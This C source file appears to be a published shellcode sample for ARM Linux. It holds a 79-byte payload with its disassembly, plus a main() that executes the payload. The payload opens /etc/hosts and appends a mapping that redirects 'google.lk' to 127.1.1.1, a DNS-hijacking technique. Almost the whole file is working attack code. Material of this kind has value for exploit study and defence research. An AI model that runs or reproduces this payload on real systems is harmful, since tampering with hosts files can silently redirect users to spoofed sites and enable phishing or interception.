86 lines
No EOL
3.1 KiB
C
86 lines
No EOL
3.1 KiB
C
/*
|
|
# Title: Add map in /etc/hosts file - 79 bytes
|
|
# Date: 2015-03-02
|
|
# Architecture: armv6l GNU/Linux
|
|
# Website: http://osandamalith.wordpress.com
|
|
# E-Mail: osanda[cat]unseen.is
|
|
# Author: Osanda Malith Jayathissa (@OsandaMalith)
|
|
|
|
hosts: file format elf32-littlearm
|
|
|
|
|
|
Disassembly of section .text:
|
|
|
|
00008054 <_start>:
|
|
8054: e28f6001 add r6, pc, #1
|
|
8058: e12fff16 bx r6
|
|
805c: 1b24 subs r4, r4, r4
|
|
805e: 1c22 adds r2, r4, #0
|
|
8060: 21ff movs r1, #255 ; 0xff
|
|
8062: 31ff adds r1, #255 ; 0xff
|
|
8064: 31ff adds r1, #255 ; 0xff
|
|
8066: 31ff adds r1, #255 ; 0xff
|
|
8068: 3105 adds r1, #5
|
|
806a: 4678 mov r0, pc
|
|
806c: 302a adds r0, #42 ; 0x2a
|
|
806e: 2705 movs r7, #5
|
|
8070: df01 svc 1
|
|
8072: 2214 movs r2, #20
|
|
8074: 4679 mov r1, pc
|
|
8076: 310c adds r1, #12
|
|
8078: 2704 movs r7, #4
|
|
807a: df01 svc 1
|
|
807c: 1b24 subs r4, r4, r4
|
|
807e: 1c20 adds r0, r4, #0
|
|
8080: 2701 movs r7, #1
|
|
8082: df01 svc 1
|
|
8084: 2e373231 mrccs 2, 1, r3, cr7, cr1, {1}
|
|
8088: 2e312e31 mrccs 14, 1, r2, cr1, cr1, {1}
|
|
808c: 6f672031 svcvs 0x00672031
|
|
8090: 656c676f strbvs r6, [ip, #-1903]! ; 0x76f
|
|
8094: 0a6b6c2e beq 1ae3154 <__bss_end__+0x1ad30b0>
|
|
8098: 6374652f cmnvs r4, #197132288 ; 0xbc00000
|
|
809c: 6f682f2f svcvs 0x00682f2f
|
|
80a0: 00737473 rsbseq r7, r3, r3, ror r4
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char *shellcode = "\x01\x60\x8f\xe2"
|
|
"\x16\xff\x2f\xe1"
|
|
"\x24\x1b"
|
|
"\x22\x1c"
|
|
"\xff\x21"
|
|
"\xff\x31"
|
|
"\xff\x31"
|
|
"\xff\x31"
|
|
"\x05\x31"
|
|
"\x78\x46"
|
|
"\x2a\x30"
|
|
"\x05\x27"
|
|
"\x01\xdf"
|
|
"\x14\x22" // movs r2, $0x14 ; length
|
|
"\x79\x46"
|
|
"\x0c\x31"
|
|
"\x04\x27"
|
|
"\x01\xdf"
|
|
"\x24\x1b"
|
|
"\x20\x1c"
|
|
"\x01\x27"
|
|
"\x01\xdf"
|
|
"\x31\x32\x37\x2e" // 127.
|
|
"\x31\x2e\x31\x2e" // 1.1.
|
|
"\x31\x20\x67\x6f" // 1 go
|
|
"\x6f\x67\x6c\x65" // ogle
|
|
"\x2e\x6c\x6b\x0a" // .lk
|
|
"\x2f\x65\x74\x63"
|
|
"\x2f\x2f\x68\x6f"
|
|
"\x73\x74\x73";
|
|
|
|
int main(void) {
|
|
fprintf(stdout,"Length: %d\n",strlen(shellcode));
|
|
(*(void(*)()) shellcode)();
|
|
return 0;
|
|
} |